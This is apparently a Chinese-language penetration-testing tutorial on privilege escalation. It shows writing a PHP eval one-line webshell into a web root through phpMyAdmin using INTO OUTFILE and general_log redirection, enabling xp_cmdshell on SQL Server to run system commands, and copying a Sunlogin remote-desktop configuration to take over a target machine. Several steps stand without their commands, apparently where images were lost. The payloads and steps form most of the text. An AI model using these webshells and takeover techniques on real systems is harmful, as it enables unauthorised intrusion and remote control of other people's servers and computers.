phpmyadmin提权
SQL语句写getshell
前提条件
- 已知
web
应用绝对路径。 mysql
配置文件中secure_file_priv
的值为空。
复现步骤
设置secure_file_priv
的值为空:
重启配置生效:
查看是否具有写入权限:
1 | show global variables like '%secure%'; |
secure_file_priv
为null
表示不允许导入导出;secure_file_priv
指定文件夹时,表示mysql的导入导出只能在指定的文件夹;secure_file_priv
没有设置时,则表示没有任何限制;
查web
绝对路径
- 利用mysql的特性
select @@basedir
这里很明显是用了宝塔集成环境,那么默认路径是C:/wwwroot
phpinfo
信息泄露- 通过报错
写入一句话木马:
1 | select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'C://wwwroot//shell.php'; |
使用蚁剑连接
日志变量getshell
- 开启日志保存并修改保存位置
1
2SET global general_log = "ON";
SET global general_log_file='C://wwwroot//shell2.php'; - 我们在
SQL
查询的框中写入1
select "<?php eval($_POST['cmd']);?>";
- 蚁剑连接
SQL server提权
开启xp_cmdshell
:
1 | sp_configure 'show advanced options',1 |
执行系统命令:
向日葵远程连接提权:
如果目标机器安装了向日葵:
默认位置:
1 | C:/Program Files/Oray/SunLogin/SunloginClient |
我们在自己电脑上同样安装一个向日葵,修改自己的配置文件改为他的配置文件:
这时,连接密码就一样了:
识别码在这里:
然后就远程连接了他的电脑: